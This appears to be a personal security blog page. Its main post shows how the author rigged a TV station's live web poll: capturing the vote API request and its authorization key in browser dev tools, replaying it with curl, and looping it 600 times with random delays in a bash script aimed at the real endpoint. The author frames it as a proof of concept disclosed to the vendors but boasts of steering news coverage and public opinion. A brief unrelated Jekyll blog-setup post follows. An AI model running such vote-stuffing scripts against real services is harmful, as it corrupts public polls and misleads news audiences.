AKAMADOSHI Casting both white and black spells

How I Studied for the CISSP

Hacking Broadcaster's Live Polling

  • This is a proof of concept in order to demonstrate a flaw in how King 5 reports viewer opinion.
  • There was no bug bounty program for either King 5 or Megaphone TV.
  • I have reached out to them directly after writinging up the post.

Today, I used a false flag attack to alter the news coverage of a major metropolitan news organization.

VOTE FOR THE HIGH SCHOOL BIG GAME OF THE WEEK

keep an eye on the tally of the top left.

I voted on King 5’s website that Bellevue Vs. Mercer Island be broadcasted for Friday night. It was neck-and-neck tie against the Olympia Vs. Graham-Kapowsin game. But I didn’t want to just vote, I wanted to win.

Let’s do some inspecting. Right click on the html and choose inspect. invoke inspector

right clicking inspect

Let’s find the code running the voting iframe in source discovering an iframe

<iframe id="MegaControllerIframe-1503428196380" style="width: 100%; min-height: 480px; height: 745px;" src="https://mpcontrollers.s3.amazonaws.com/tegna/king5/live/index.html?iswebpoll=true&amp;poll_id=active"></iframe>

interesting…

We copy the url in the iframe and post it in the browser iframed content

If I click on the network tab, it will start recording the requests to the server. When selecting a matchup to vote for, a “/vote” request is POSTed to the server. chrome inspector Here is what’s in the request:

General
    Request URL: https://webpollservice-live.herokuapp.com/api/v1/deployments/631/polls/59d856110e29a60004000009/votes
    Request Method:POST
    Status Code:201 Created
    Remote Address:54.235.191.108:443
    Referrer Policy:no-referrer-when-downgrade
Response Headers
    Access-Control-Allow-Credentials:true
    Access-Control-Allow-Methods:GET, POST, PUT, PATCH, DELETE, OPTIONS, HEAD
    Access-Control-Allow-Origin:https://mpcontrollers.s3.amazonaws.com
    Access-Control-Expose-Headers:
    Access-Control-Max-Age:1728000
    Cache-Control:max-age=0, private, must-revalidate
    Connection:keep-alive
    Content-Type:application/json; charset=utf-8
    Date:Wed, 11 Oct 2017 22:35:51 GMT
    Etag:W/”280b33e9f716971d80754919be60aeee”
    Server:Cowboy
    Transfer-Encoding:chunked
    Vary:Origin
    Via:1.1 vegur
    X-Request-Id:b4d70313-5ae1-4892-93e4-d1f2551d62f1
    X-Runtime:0.518893
Request Headers
    Accept:application/json, text/plain, /
    Accept-Encoding:gzip, deflate, br
    Accept-Language:en-US,en;q=0.8
    Authorization:Key f4e38220-16d5-47c7-8ea5-5ef8e82c7f76
    Connection:keep-alive
    Content-Length:15
    Content-Type:application/json
    DNT:1
    Host:webpollservice-live.herokuapp.com
    Origin:https://mpcontrollers.s3.amazonaws.com
    Referer:https://mpcontrollers.s3.amazonaws.com/tegna/king5/live/index.html?iswebpoll=true&poll_id=active
    User-Agent:Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36
Request Payload
    {voteIndex: 2}

If we want to vote hundreds of times, we’ll need stop using the browser. I came up with this curl request:

curl -H "Content-Type: application/json" -X POST https://webpollservice-live.herokuapp.com/api/v1/deployments/631/polls/59d856110e29a60004000009/votes

The response was: {"message":"Missing controller key."}

The key was in the Request Header. Let’s try again:

curl -H "Content-Type: application/json" -H "Authorization:Key a751a427-h3rp-4a9f-d3rp-d43efc4947fb" -X POST https://webpollservice-live.herokuapp.com/api/v1/deployments/631/polls/59d856110e29a60004000009/votes

And it worked! But it didn’t. The server subtracted my vote!

They identified my key and punished me by subtracting my vote.

Ok… What if I vote for the other guy?…

So I clicked on Olympia Vs. Graham-Kapowsin first then ran the curl command again. They took a vote away from my competitor. BAM

Let’s loop the curl command

#!/bin/bash
for number in {1..600}
do
  echo $number
  curl -H "Content-Type: application/json" -H "Authorization:Key a751a427-h3rp-4a9f-d3rp-d43efc4947fb" -D "voteindex: 6" -X POST https://webpollservice-live.herokuapp.com/api/v1/deployments/631/polls/59d856110e29a60004000009/votes
  fun=$(jot -r 1 1 5)
  echo -n "sleep for $fun seconds\n"
  sleep $fun
done
exit 0

What did we achieve here?

  • We created a proof of concept that exposes flaws in the megaphonetv.com execution of a public voting.
  • We highlighted the notion that internet surveys shouldn’t belong in news. Something that King 5 does all the time.
  • We proved that we could dictate the media content for a major metropolitan broadcast network.

I love this proof of concept for its pettiness. Could we use this technique to push the needle on public opinion?

current live poll Absolutely

UPDATE : It may be the case that the switching from one vote from another is broken. There are two actions at play when switching your vote, a vote is removed from the original and added to the new choice. So it may not be a explicit punishment and more of a flaw in the system. Either way, the results are the same.

Hello World!

I’m making this blog with Octopress 3 and Jekyll. It’s being hosted on an S3 bucket in AWS.

Already had some complications with Jekyll. Firstly, I have no idea what I’m doing. The relationship of how themes relate to the application aren’t all that clear. If you’re theme has jekyll-paginate code in it, it will break your build as it did with mine using the jekyll-them-lanyon gem with the latest version of Jekyll.

It complained, “Pagination is enabled, but I couldn’t find an index.html page to use as the pagination template. Skipping pagination”

The remedy is to change the line:

{% for post in paginator.posts %}

with:

{% for post in site.posts %}

Once that was completed, I removed the pagination links from my home.html overide file. Octopress deploy for S3 was pretty straight forward – That’s the part I’m going to enjoy moving forward.